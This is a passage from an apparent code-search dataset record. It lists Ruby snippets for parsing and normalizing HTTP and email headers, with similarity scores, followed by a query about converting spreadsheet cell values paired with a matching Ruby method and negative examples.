1\n\t\t\t\t\t\t\t\telsif i <= depth then\n\t\t\t\t\t\t\t\t\t# set default number if nil\n\t\t\t\t\t\t\t\t\tsection_numbers[i] ||= 1\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t# clear discardeds\n\t\t\t\t\t\t\t\t\tsection_numbers[i] = nil\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tno = ''\n\t\t\t\t\t\t\t(0..depth).each do |i|\n\t\t\t\t\t\t\t\tno << \"#{section_numbers[i]}.\"\n\t\t\t\t\t\t\tend\n\n\t\t\t\t\t\t\tprefix = \"#{no} \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle_html = apply_span_transforms( title, rs )\n\n\t\t\t\t\tunless id then\n\t\t\t\t\t\tcase rs.header_id_type\n\t\t\t\t\t\twhen HeaderIDType::ESCAPE\n\t\t\t\t\t\t\tid = escape_to_header_id(title_html)\n\t\t\t\t\t\t\tif rs.headers.find{|h| h.id == id} then\n\t\t\t\t\t\t\t\trs.warnings << \"header id collision - #{id}\"\n\t\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tid = \"bfheader-#{Digest::MD5.hexdigest(title)}\"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\ttitle = \"#{prefix}#{title}\"\n\t\t\t\t\ttitle_html = \"#{prefix}#{title_html}\"\n\n\n\t\t\t\t\tunless id =~ IdRegexp then\n\t\t\t\t\t\trs.warnings << \"illegal header id - #{id} (legal chars: [a-zA-Z0-9_-.] | 1st: [a-zA-Z])\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif rs.block_transform_depth == 1 then\n\t\t\t\t\t\trs.headers << RenderState::Header.new(id, level, title, title_html)\n\t\t\t\t\tend\n\n\t\t\t\t\tif @use_header_id then\n\t\t\t\t\t\t%{<h%d id=\"%s\">%s</h%d>\\n\\n} % [ level, id, title_html, level ]\n\t\t\t\t\telse\n\t\t\t\t\t\t%{<h%d>%s</h%d>\\n\\n} % [ level, title_html, level ]\n\t\t\t\t\tend\n\t\t\t\t}\n\t\tend", "def parse_headers\n headers = {}\n @request.lines[1..-1].each do |line|\n # puts line.inspect\n # puts line.split.inspect\n return headers if line == \"\\r\\n\" # Because HTTP header's last line will be /r/n we return bc we're done\n header, value = line.split\n header = normalize(header)\n headers[header] = value\n end\n \n return headers\n end", "def strip_headers\n %w(return-receipt-to domainkey-signature dkim-signature)\n end", "def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend", "def normalize_headers( opts, defaults=TEST_HEADERS )\n\t\theaders = defaults.merge( opts[:headers] || {} )\n\n\t\theaders[\"PATH\"] = opts[:path]\n\t\theaders[\"URI\"] = \"#{opts[:path]}?#{opts[:query]}\"\n\t\theaders[\"QUERY\"] = opts[:query]\n\t\theaders[\"PATTERN\"] = opts[:pattern] || opts[:path]\n\n\t\treturn headers\n\tend", "def normalize_headers( opts, defaults=TEST_HEADERS )\n\t\theaders = defaults.merge( opts[:headers] || {} )\n\n\t\theaders[\"PATH\"] = opts[:path]\n\t\theaders[\"URI\"] = \"#{opts[:path]}?#{opts[:query]}\"\n\t\theaders[\"QUERY\"] = opts[:query]\n\t\theaders[\"PATTERN\"] = opts[:pattern] || opts[:path]\n\n\t\treturn headers\n\tend", "def normalize_headers( opts, defaults=TEST_HEADERS )\n\t\theaders = defaults.merge( opts[:headers] || {} )\n\n\t\theaders[\"PATH\"] = opts[:path]\n\t\theaders[\"URI\"] = \"#{opts[:path]}?#{opts[:query]}\"\n\t\theaders[\"QUERY\"] = opts[:query]\n\t\theaders[\"PATTERN\"] = opts[:pattern] || opts[:path]\n\n\t\treturn headers\n\tend", "def canonical_request\n [\n method,\n Pathname.new(uri.path).cleanpath.to_s,\n uri.query,\n headers.sort.map { |k, v| [k.downcase, v.strip].join(':') }.join(\"\\n\") + \"\\n\",\n headers.sort.map { |k, v| k.downcase }.join(\";\"),\n headers[\"X-Amz-Content-Sha256\"]\n ].join(\"\\n\")\n end", "def sanitize_header_field(value)\n value.to_s\n .gsub(\"\\r\\n\", \"\\n\")\n .gsub(HEADER_FIELD_SANITIZER_PATTERN, HEADER_FIELD_SANITIZER_MAPPING)\n end", "def build_headers(headers)\n headers.select do |key, value|\n !(key.to_s =~ /cookie/i)\n end.inject([]) do |memo, header|\n memo << {\n :name => header[0].to_s.split('_').map(&:capitalize).join('-'),\n :value => header[1].to_s\n }\n end\nend", "def response_headers_hash\n return {} unless response_headers\n result = {}\n prev = nil\n response_headers.each_line do |line|\n next if line.blank?\n if line[0..0].blank?\n raise HeaderParseError.new('Leading whitespace on first header line') unless prev\n prev << line.lstrip\n else\n key, value = line.split(':', 2)\n raise HeaderParseError.new('Missing header name') if key.blank?\n key = NORMALIZED_HEADERS[key.downcase] || key\n prev = value.lstrip!\n result[key] = prev\n end\n end\n result\n end", "def stringify_headers(headers); end", "def headers\n @headers ||= self.class.beautify_headers(@net_http_res.to_hash)\n end", "def parse_headers(raw_headers)\n # raw headers from net_http have an array for each result. Flatten them out.\n raw_headers.inject({}) do |remainder, (k, v)|\n remainder[k] = [v].flatten.first\n remainder\n end\n end", "def canonical\n canonical = \"\"\n canonical << method.to_s.upcase << \"\\n\"\n canonical << uri.path << \"\\n\"\n\n canonical_query.each_with_index do |(param,value), index|\n canonical << param << \"=\" << value\n canonical << \"&\" unless index == query.size - 1\n end\n\n canonical << \"\\n\"\n canonical << canonical_headers.map{|h| h.join(\":\")}.join(\"\\n\")\n canonical << \"\\n\\n\"\n canonical << signed_headers.join(\";\")\n canonical << \"\\n\"\n\n canonical << digest.hexdigest(body.to_s).downcase\n canonical\n end", "def figure_out_canonicalization_methods!\n c_match = @dkim_signature['c'].match(/(\\w+)(?:\\/(\\w+))?$/)\n if not c_match\n $debuglog.puts \"can't figure out canonicalization ('c=')\"\n return false\n end\n @how_to_canonicalize_headers = c_match[1]\n if c_match[2]\n @how_to_canonicalize_body = c_match[2]\n else\n @how_to_canonicalize_body = \"simple\"\n end\n raise ArgumentError, \"invalid canonicalization method for headers\" unless [\"relaxed\", \"simple\"].include?(@how_to_canonicalize_headers)\n raise ArgumentError, \"invalid canonicalization method for body\" unless [\"relaxed\", \"simple\"].include?(@how_to_canonicalize_body)\n end", "def parse_headers(headers_hash)\n header_string = \"\"\n for header in headers_hash.select { |k,v| k.match(\"^HTTP.*\") } do\n header_string += header[0]+\":\"+header[1]+\"|\"\n end\n return header_string\n end", "def set_headers(items)\n @headers = items.map { |item|\n item.gsub(/ /, '_')\n }\n end", "def headers\n\t\t\thdr = @curb.header_str\n\t\t\tself.class.recode(log?, @curb.content_type, hdr) ?\n\t\t\t\tself.class.parse_headers(hdr) :\n\t\t\t\tself.class.parse_headers(@curb.header_str) # recode failed\n\t\tend", "def raw_headers; end", "def request_http_headers env\n env.inject({}) { |acc, (k, v)| acc[$1.downcase] = v if k =~ /^http_(.*)/i; acc }\n end", "def stringify_headers headers\n headers.inject({}) do |result, (key, value)|\n if key.is_a? Symbol\n key = key.to_s.split(/_/).map { |w| w.capitalize }.join('-')\n end\n if 'CONTENT-TYPE' == key.upcase\n target_value = value.to_s\n result[key] = MIME::Types.type_for_extension target_value\n elsif 'ACCEPT' == key.upcase\n # Accept can be composed of several comma-separated values\n if value.is_a? Array\n target_values = value\n else\n target_values = value.to_s.split ','\n end\n result[key] = target_values.map { |ext| MIME::Types.type_for_extension(ext.to_s.strip) }.join(', ')\n else\n result[key] = value.to_s\n end\n result\n end\n end", "def scrub_headers(headers)\n headers.select {|h| UserMailer.legal_headers.include? h}\n end", "def sanitize_header_field(value)\n output = \"\"\n\n value = value.to_s.gsub(/\\r\\n/, \"\\n\")\n\n value.each_char{|c|\n case c\n when \"\\\\\", \"|\"\n output += \"\\\\\" + c\n when \"\\n\", \"\\r\"\n output += \" \"\n else\n output += c\n end\n }\n\n return output\n end", "def precomputed_header_keys_for_rack\n @precomputed_header_keys_for_rack ||= begin\n @headers.attributes.keys.each_with_object(Hash.new) do |key,hash|\n name = key.to_s\n name = \"HTTP_#{name.gsub('-','_').upcase}\" unless ( name == \"CONTENT_TYPE\" || name == \"CONTENT_LENGTH\" )\n hash[name] = key\n end\n end\n end", "def http_headers(environment)\n http_headers = headers\n environment.each do |env|\n key, value = env\n match = key.match(/\\AHTTP_(.*)\\Z/)\n next unless match\n\n header = match[1].split('_').map(&:capitalize).join('-')\n http_headers[header] = value\n end\n\n return http_headers\n end", "def normalize\n self.clean_extra_spaces.split.map{|w| w.size>2 ? w.capitalize : w.downcase}.join(' ')\n end", "def header_data\n\t\treturn self.normalized_headers.to_s\n\tend", "def meta\n @meta ||= begin\n arr = @header_str.split(/\\r?\\n/)\n arr.shift\n arr.inject({}) do |hash, hdr|\n key, val = hdr.split(/:\\s+/, 2)\n hash[key.downcase] = val\n hash\n end\n end\n end", "def sanitize_header(header, value)\n value\n end", "def unprefixed_headers\n {\"Content-Type\" => @request.content_type,\n \"Content-Length\" => @request.content_length}.compact\n end", "def convert_header(h)\n changed_header = h.to_s.downcase.gsub('-', '').gsub(' ','_')\n (User::HEADERS[changed_header].present? ? User::HEADERS[changed_header] : changed_header).intern\n end", "def unwrap_headers(headers, env)\n\t\t\t\theaders.each do |key, value|\n\t\t\t\t\thttp_key = \"HTTP_#{key.upcase.tr('-', '_')}\"\n\t\t\t\t\t\n\t\t\t\t\tif current_value = env[http_key]\n\t\t\t\t\t\tenv[http_key] = \"#{current_value}\\n#{value}\"\n\t\t\t\t\telse\n\t\t\t\t\t\tenv[http_key] = value\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def normalize_keys\n transform_keys { |key| key.downcase.to_sym rescue key }\n end", "def canonicalize\n # This is the opportunity to use exclusive canonicalization library\n self\n end", "def make_headers(user_headers); end", "def header_str_with_newrelic\n header_str_with_tracing { header_str_without_newrelic }\n end", "def expected_headers_unmet\n unmet = []\n expected = test_case.expected_headers\n expected.each_pair do |k,v|\n got = response.headers[k]\n unmet << \"[headers] #{v} expected for #{k}, got #{got}\" unless (got == v)\n end\n unmet.empty? ? nil : unmet.join(\"\\n\")\n end", "def verify_auth_header_components headers\n auth_header = headers.find { |x| x[0] == \"Authorization\" }\n raise MalformedAuthorizationError, \"Authorization header is missing\" if auth_header.nil? || auth_header[1] == \"\"\n auth_hash = ::Signet::OAuth1.parse_authorization_header(\n auth_header[1]\n ).each_with_object({}) { |(key, val), acc| acc[key.downcase] = val; }\n\n auth_hash\n end", "def normalize(key, hsh)\n hsh[key].gsub!(/^[^[:alnum:]]+/, '')\n hsh[key].gsub!(/[^[:alnum:]]+$/, '')\n end", "def headers(headers); end", "def normalise_headings(doc)\n logger.info(\"Normalising headings\")\n\n nodes = doc.xpath('//a:body//a:heading/text()', a: NS) +\n doc.xpath('//a:component/a:doc[@name=\"schedules\"]//a:heading/text()', a: NS)\n\n nodes.each do |heading|\n heading.content = heading.content.downcase.gsub(/^\\w/) { $&.upcase }\n end\n end", "def processed_headers; end", "def remove_fws headers_with_fws\n\t\theaders = Array.new\n\t\theaders_with_fws.each_line do |line|\n\t\t\tnext if line =~ /^\\s+$/ # If line is empty\n\t\t\tnext if line =~ /^((?!:)[\\s\\S])*$/ && headers.size == 0 # If they're trying to pull a fast one\n\t\t\tline =~ /^\\s/ ? headers[-1] += line.strip : headers << line.strip\n\t\tend\n\t\theaders\n\tend", "def symbolize_header(string)\n string.\n gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/, '\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/, '\\1_\\2').\n gsub(/\\s+/, \"_\").\n tr(\"-\", \"_\").\n downcase.\n to_sym\n end", "def headers\n res = parsed_headers\n if has_delta?\n res.concat(delta_headers)\n end\n res\n end", "def remove_fws headers_with_fws\n headers = Array.new\n headers_with_fws.each_line do |line|\n next if line =~ /^\\s+$/ # If line is empty\n next if line =~ /^((?!:)[\\s\\S])*$/ && headers.size == 0 # If they're trying to pull a fast one\n line =~ /^\\s/ ? headers[-1] += line.strip : headers << line.strip\n end\n headers\n end", "def str_early_hints(headers)\n eh_str = +\"\"\n headers.each_pair do |k, vs|\n next if illegal_header_key?(k)\n\n if vs.respond_to?(:to_s) && !vs.to_s.empty?\n vs.to_s.split(NEWLINE).each do |v|\n next if illegal_header_value?(v)\n eh_str << \"#{k}: #{v}\\r\\n\"\n end\n elsif !(vs.to_s.empty? || !illegal_header_value?(vs))\n eh_str << \"#{k}: #{vs}\\r\\n\"\n end\n end\n eh_str.freeze\n end", "def seperate_headers()\n\t\t@stream.split(\"\\n\\n\")[0].split(\"\\n\", 2)[1]\n\tend", "def headers\n h = {}\n raw.headers_hash.each {|k,v| h[k] = v }\n h\n end", "def normalise_source_header(header_name)\n # Run regex to see if it matches expected format\n source_match = self.class.source_header_regex.match header_name\n\n if source_match\n # Set header name as source#part where:\n # # is num\n # part is ref, date, place or orig_reference\n norm_header_name = 'source' + source_match[1]\n\n # Add last part of source string (date, place, ref) to header if available\n # Default is orig_reference\n suffix = source_match[2] || 'orig_reference'\n norm_header_name += suffix\n\n return norm_header_name\n end\n nil\n end", "def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end", "def process_headers\n { \"Content-Type\" => content_type }.tap do |result|\n headers.each do |header|\n result[header.name] = header.value\n end\n end\n end", "def headers; return {}; end", "def headers; return {}; end", "def format_header(header, close: ':', upcase: true)\n header.squish!\n header[0] = header[0].upcase if upcase\n header += close\nend", "def extract_headers_from(raw_headers)\n raw_headers.\n to_h.\n keep_if { |header, _value| pagination_headers.include?(header) }.\n transform_keys(&:to_sym).\n transform_values(&:to_i)\n end", "def normalize_header!\n @gsi.dsc = HeaderOption::DSC::TELETEXT_LEVEL_2\n @gsi.lc = @gsi.lc.to_i.to_s.rjust(2,'0')\n @gsi.tnb = @gsi.tnb.to_i.to_s.rjust(5,'0')\n @gsi.tns = @gsi.tns.to_i.to_s.rjust(5,'0')\n @gsi.tng = @gsi.tng.to_i.to_s.rjust(3,'0')\n @gsi.tcp = @gsi.tcp[0..1].to_i.to_s.ljust(2,'0') + \n @gsi.tcp[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[6..7].to_i.to_s.ljust(2,'0')\n @gsi.tcf = @gsi.tcf[0..1].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[6..7].to_i.to_s.ljust(2,'0')\n @gsi.co = @gsi.co.upcase\n end", "def parseHeaders(request) \n headers = {};\n\n # Loop through headers\n request.lines[1..-1].each do |line|\n # If we are moving to the next line, return what we currently have\n return headers if line == \"\\r\\n\"\n\n # Structure data\n header, value = line.split\n header = header.gsub(\":\", \"\").downcase.to_sym\n headers[header] = value\n end\nend", "def parse_headers!(headers)\n @filename = headers[HEADER_CONTENT_DISPOSITION].split('filename=')[1]\n @filename = @filename[1...-1] if @filename[0] == '\"' # Unquote filenames\n end", "def redmine_headers(h)\n h.compact.each {|k, v| headers[\"X-Redmine-#{k}\"] = v.to_s}\n end", "def str_early_hints(headers); end", "def canonicalize_request\n \"Method:#{http_method.to_s.upcase}\\nHashed Path:#{digester.hash_string(canonical_path)}\\nX-Ops-Content-Hash:#{hashed_body}\\nX-Ops-Timestamp:#{canonical_time}\\nX-Ops-UserId:#{user_id}\"\n end", "def proxy_headers(headers, route_data)\n proxied = nil\n if proxy_data = route_data[:proxy] || DEFAULT_PROXY_SETTINGS\n if header_data = proxy_data[:header]\n to_separator = (header_data[:separator] == :underscore) ? '_' : '-'\n from_separator = (to_separator == '-') ? '_' : '-'\n proxied = headers.inject(RightSupport::Data::Mash.new) do |h, (k, v)|\n k = k.to_s\n case header_data[:case]\n when nil\n k = k.gsub(from_separator, to_separator)\n when :lower\n k = k.downcase.gsub(from_separator, to_separator)\n when :upper\n k = k.upcase.gsub(from_separator, to_separator)\n when :capitalize\n k = k.split(/-|_/).map { |word| word.capitalize }.join(to_separator)\n else\n raise ::ArgumentError,\n \"Unexpected header case: #{route_data.inspect}\"\n end\n h[k] = v\n h\n end\n end\n end\n proxied || RightSupport::Data::Mash.new(headers)\n end", "def semanticize_table_headers!\n @document.tree.search('table tr:first td').each { |node| node.node_name = 'th' }\n end", "def body_to_string\n sanitized_body.keys.sort_by(&:downcase).map{|key| \"#{key}=#{@body[key]}\" }.join(\"\")\n end", "def formulate_headers(auth_header)\n {\n 'Content-Type' => 'application/json',\n 'Authorization' => auth_header,\n 'Content-Encoding' => 'gzip',\n 'Accept' => 'application/json'\n }\n end" ]
[ "0.8089857", "0.778889", "0.74814", "0.74479824", "0.72587913", "0.72310066", "0.70881003", "0.6929799", "0.69124097", "0.68974787", "0.6895633", "0.68510854", "0.68350327", "0.6687266", "0.6683153", "0.66749185", "0.66179836", "0.6562257", "0.6538556", "0.6487755", "0.6471369", "0.6439985", "0.6434654", "0.63987845", "0.63741386", "0.63363045", "0.6282404", "0.6268625", "0.62322056", "0.6227613", "0.62250197", "0.6199469", "0.60911334", "0.60780734", "0.60106325", "0.5992367", "0.59911865", "0.59911144", "0.5981282", "0.5981282", "0.5981282", "0.59441555", "0.5920669", "0.58998877", "0.5895296", "0.58881813", "0.58791536", "0.5878568", "0.58762074", "0.586674", "0.5856934", "0.584993", "0.58238196", "0.5806337", "0.57794344", "0.577923", "0.576833", "0.5750048", "0.5749175", "0.572969", "0.57265884", "0.56910056", "0.5666837", "0.56623495", "0.5639153", "0.5602814", "0.5596237", "0.5585197", "0.5583678", "0.5577321", "0.5567781", "0.5567499", "0.5566398", "0.5542124", "0.55387664", "0.55298036", "0.55220854", "0.5519243", "0.5502208", "0.5495149", "0.5486999", "0.547221", "0.54707146", "0.545937", "0.5445302", "0.543634", "0.543547", "0.54252684", "0.54252684", "0.541878", "0.5413327", "0.5413083", "0.5383899", "0.53831095", "0.53787833", "0.5378307", "0.5368499", "0.53667295", "0.5363833", "0.53481907", "0.5344961" ]
0.0
-1
General conversion of spreadsheet cell values
def convert(val) # clean up strings and return nil for if val.class == String val.strip!() if ["?", "unknown"].member?(val.downcase()) return nil end end return val end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def convert_cell(column,xlsx,nrow,ncol)\n d = xlsx.cell(nrow,ncol)\n type = column['type'] || 'string'\n case type\n when 'long'\n d.to_i\n when 'double'\n d.to_f\n when 'string'\n d.to_s\n when 'timestamp'\n convert_time(d)\n else # TODO\n d.to_s\n end\n end", "def convert_cell(value, coltype)\n case coltype\n when \"boolean\"\n value ? 'true' : 'false'\n when \"number\"\n value.to_i\n when \"string\"\n value\n when \"date\"\n DataDate.new(Date.parse(value))\n when \"datetime\"\n DataDateTime.new(DateTime.parse(value))\n when \"timeofday\"\n [ value.hour, value.min, value.sec, value.usec / 1000 ]\n end\n end", "def poi_cell_value(data)\n case data\n when BigDecimal\n data.to_f\n when Numeric, TrueClass, FalseClass\n data\n else\n data.to_s\n end\n end", "def convert(value) value end", "def cell_value(cell)\n return '' unless(cell)\n\n case cell.getCellType\n when HSSFCell::CELL_TYPE_FORMULA then return cell.getCellFormula\n when HSSFCell::CELL_TYPE_NUMERIC then return cell.getNumericCellValue\n when HSSFCell::CELL_TYPE_STRING then return cell.getStringCellValue\n when HSSFCell::CELL_TYPE_BOOLEAN then return cell.getBooleanCellValue\n when HSSFCell::CELL_TYPE_ERROR then return cell.getErrorCellValue\n\n when HSSFCell::CELL_TYPE_BLANK then return ''\n end\n end", "def set_cell_values(sheet, x, y, i, v, value_type, formula, table_cell, str_v, style_name)\n key = [y, x + i]\n @cell_type[sheet] ||= {}\n @cell_type[sheet][key] = value_type.to_sym if value_type\n @formula[sheet] ||= {}\n if formula\n ['of:', 'oooc:'].each do |prefix|\n if formula[0, prefix.length] == prefix\n formula = formula[prefix.length..-1]\n end\n end\n @formula[sheet][key] = formula\n end\n @cell[sheet] ||= {}\n @style[sheet] ||= {}\n @style[sheet][key] = style_name\n case @cell_type[sheet][key]\n when :float\n value = (table_cell.attributes['value'].to_s.include?(\".\") || table_cell.children.first.text.include?(\".\")) ? v.to_f : v.to_i\n value = 'true' if formula == '=TRUE()'\n value = 'false' if formula == '=FALSE()'\n @cell[sheet][key] = value\n when :percentage\n @cell[sheet][key] = v.to_f\n when :string\n @cell[sheet][key] = str_v\n when :date\n # TODO: if table_cell.attributes['date-value'].size != \"XXXX-XX-XX\".size\n if attribute(table_cell, 'date-value').size != 'XXXX-XX-XX'.size\n #-- dann ist noch eine Uhrzeit vorhanden\n #-- \"1961-11-21T12:17:18\"\n @cell[sheet][key] = DateTime.parse(attribute(table_cell, 'date-value').to_s)\n @cell_type[sheet][key] = :datetime\n else\n @cell[sheet][key] = table_cell.attributes['date-value']\n end\n when :time\n hms = v.split(':')\n @cell[sheet][key] = hms[0].to_i * 3600 + hms[1].to_i * 60 + hms[2].to_i\n else\n @cell[sheet][key] = v\n end\n end", "def excelx_format(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n s = @s_attribute[sheet][[row,col]]\n result = attribute2format(s).to_s\n result\n end", "def convert_single_cell(sheet_data, row, col_number)\r\n test_id = row[0].value\r\n key = sheet_data[0][col_number].value\r\n cell = row[col_number]\r\n @test_data[test_id][key] = cell.nil? ? nil : cell.value\r\n end", "def set_cell_values(sheet,x,y,i,v,vt,formula,tr,str_v,\n excelx_type=nil,\n excelx_value=nil,\n s_attribute=nil)\n key = [y,x+i]\n @cell_type[sheet] = {} unless @cell_type[sheet]\n @cell_type[sheet][key] = vt\n @formula[sheet] = {} unless @formula[sheet]\n @formula[sheet][key] = formula if formula\n @cell[sheet] = {} unless @cell[sheet]\n case @cell_type[sheet][key]\n when :float\n @cell[sheet][key] = v.to_f\n when :string\n @cell[sheet][key] = str_v\n when :date\n @cell[sheet][key] = (Date.new(1899,12,30)+v.to_i).strftime(\"%Y-%m-%d\") \n when :datetime\n @cell[sheet][key] = (DateTime.new(1899,12,30)+v.to_f).strftime(\"%Y-%m-%d %H:%M:%S\")\n when :percentage\n @cell[sheet][key] = v.to_f\n when :time\n @cell[sheet][key] = v.to_f*(24*60*60)\n else\n @cell[sheet][key] = v\n end\n @excelx_type[sheet] = {} unless @excelx_type[sheet]\n @excelx_type[sheet][key] = excelx_type\n @excelx_value[sheet] = {} unless @excelx_value[sheet]\n @excelx_value[sheet][key] = excelx_value\n @s_attribute[sheet] = {} unless @s_attribute[sheet]\n @s_attribute[sheet][key] = s_attribute\n end", "def read_cell(row, idx)\n return read_cell_date_or_time(row, idx) if date_or_time?(row, idx)\n\n cell = read_cell_content(row, idx)\n case cell\n when Integer, Fixnum, Bignum\n value_type = :float\n value = cell.to_i\n when Float\n value_type = :float\n value = cell.to_f\n when String, TrueClass, FalseClass\n value_type = :string\n value = normalize_string(cell.to_s)\n when ::Spreadsheet::Link\n value_type = :link\n value = cell\n else\n value_type = cell.class.to_s.downcase.to_sym\n value = nil\n end # case\n\n [value_type, value]\n end", "def excelx_value(row,col,sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n return @excelx_value[sheet][[row,col]]\n end", "def cell(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n check_default_sheet #TODO: 2007-12-16\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n value = @cell[sheet][\"#{row},#{col}\"]\n if celltype(row,col,sheet) == :date\n begin\n return Date.strptime(value, @date_format)\n rescue ArgumentError\n raise \"Invalid Date #{sheet}[#{row},#{col}] #{value} using format '{@date_format}'\"\n end\n elsif celltype(row,col,sheet) == :datetime\n begin\n return DateTime.strptime(value, @datetime_format)\n rescue ArgumentError\n raise \"Invalid DateTime #{sheet}[#{row},#{col}] #{value} using format '{@datetime_format}'\"\n end\n end \n return value\n end", "def value\n val = @value\n if format_as_date?(val)\n val = Xl::DateHelper.excel_to_ruby(val)\n end\n val\n end", "def read_cell_content(row, idx)\n cell = row.at(idx)\n if cell.class == ::Spreadsheet::Formula\n # Formulas oftentimes lose type information\n cell = cell.value.to_f rescue cell.value\n cell = cell.to_i if (cell.to_f % 1).zero? rescue cell\n end\n\n cell\n end", "def cell(row, col, sheet=nil)\n sheet = @default_sheet unless sheet\n read_cells(sheet) unless @cells_read[sheet]\n row,col = normalize(row,col)\n if celltype(row,col,sheet) == :date\n yyyy,mm,dd = @cell[sheet][[row,col]].split('-')\n return Date.new(yyyy.to_i,mm.to_i,dd.to_i)\n elsif celltype(row,col,sheet) == :datetime\n date_part,time_part = @cell[sheet][[row,col]].split(' ')\n yyyy,mm,dd = date_part.split('-')\n hh,mi,ss = time_part.split(':')\n return DateTime.civil(yyyy.to_i,mm.to_i,dd.to_i,hh.to_i,mi.to_i,ss.to_i)\n end\n @cell[sheet][[row,col]]\n end", "def values\n value = @ole_tablerow.Range.Value\n return value if value==[nil]\n value = if !value.respond_to?(:pop)\n [value]\n elsif value.first.respond_to?(:pop)\n value.first\n end\n value.map{|v| v.respond_to?(:gsub) ? v.encode('utf-8') : v}\n rescue WIN32OLERuntimeError\n raise TableError, \"could not read values\\n#{$!.message}\"\n end", "def values\n value = @ole_tablerow.Range.Value\n return value if value==[nil]\n value = if !value.respond_to?(:pop)\n [value]\n elsif value.first.respond_to?(:pop)\n value.first\n end\n value.map{|v| v.respond_to?(:gsub) ? v.encode('utf-8') : v}\n rescue WIN32OLERuntimeError\n raise TableError, \"could not read values\\n#{$!.message}\"\n end", "def set_cell_values(sheet, row, col, i, v, value_type, formula, _tr, font)\n # key = \"#{y}, #{x+i}\"\n key = [row, col + i]\n if formula\n @formula[sheet][key] = formula\n value_type = :formula\n end\n @cell_type[sheet][key] = value_type\n @fonts[sheet][key] = font\n @cell[sheet][key] = v\n end", "def change_contents(data, formula=nil)\n validate_worksheet\n @datatype='str'\n if data.is_a?(Date) || data.is_a?(DateTime)\n data = @workbook.date_to_num(data)\n end\n if (data.is_a?Integer) || (data.is_a?Float)\n @datatype = ''\n end\n @value=data\n @formula=formula\n end", "def transform_values!; end", "def cell(row, col, sheet = default_sheet)\n validate_sheet!(sheet) # TODO: 2007-12-16\n read_cells(sheet)\n row, col = normalize(row, col)\n value = @cell[sheet][\"#{row},#{col}\"]\n type = celltype(row, col, sheet)\n return value unless [:date, :datetime].include?(type)\n klass, format = if type == :date\n [::Date, @date_format]\n else\n [::DateTime, @datetime_format]\n end\n begin\n return klass.strptime(value, format)\n rescue ArgumentError\n raise \"Invalid #{klass} #{sheet}[#{row},#{col}] #{value} using format '#{format}'\"\n end\n end", "def sanitize_cells(rows)\n rows.map do |cells|\n cells.map do |cell|\n \n if cell.is_a? Float\n cell = cell ? cell.to_i.to_s : \"\"\n else\n cell = cell ? cell.to_s : \"\"\n end\n cell ? cell.strip : \"\"\n end\n end\n end", "def cell_type_from_value(v)\n if v.is_a?(Date)\n :date\n elsif v.is_a?(Time)\n :time\n elsif v.is_a?(TrueClass) || v.is_a?(FalseClass)\n :boolean\n elsif v.respond_to?(:to_i) && Axlsx::NUMERIC_REGEX.match?(v.to_s)\n :integer\n elsif v.respond_to?(:to_f) && (Axlsx::SAFE_FLOAT_REGEX.match?(v.to_s) || ((matchdata = MAYBE_FLOAT_REGEX.match(v.to_s)) && matchdata[:exp].to_i.between?(Float::MIN_10_EXP, Float::MAX_10_EXP)))\n :float\n elsif Axlsx::ISO_8601_REGEX.match?(v.to_s)\n :iso_8601\n elsif v.is_a? RichText\n :richtext\n else\n :string\n end\n end", "def read_cells(sheet=nil)\n sheet = @default_sheet unless sheet\n sheet_found = false\n raise ArgumentError, \"Error: sheet '#{sheet||'nil'}' not valid\" if @default_sheet == nil and sheet==nil\n raise RangeError unless self.sheets.include? sheet\n n = self.sheets.index(sheet)\n #TODO: @sheet_doc[n].find(\"//*[local-name()='c']\").each do |c|\n @sheet_doc[n].xpath(\"//*[local-name()='c']\").each do |c|\n #TODO: s_attribute = c.attributes.to_h['s'].to_i # should be here\n s_attribute = c['s'].to_i # should be here\n #TODO: if (c.attributes.to_h['t'] == 's')\n # c: <c r=\"A5\" s=\"2\">\n # <v>22606</v>\n # </c>, format: , tmp_type: float\n\n if c['t'] == 's'\n tmp_type = :shared\n #TODO: elsif (c.attributes.to_h['t'] == 'b')\n elsif c['t'] == 'b'\n tmp_type = :boolean\n else\n #s_attribute = c.attributes.to_h['s'].to_i # was here\n s_attribute = c['s'].to_i # was here\n format = attribute2format(s_attribute)\n tmp_type = format2type(format)\n end\n formula = nil\n #TODO: c.each_element do |cell|\n c.children.each do |cell|\n #TODO: if 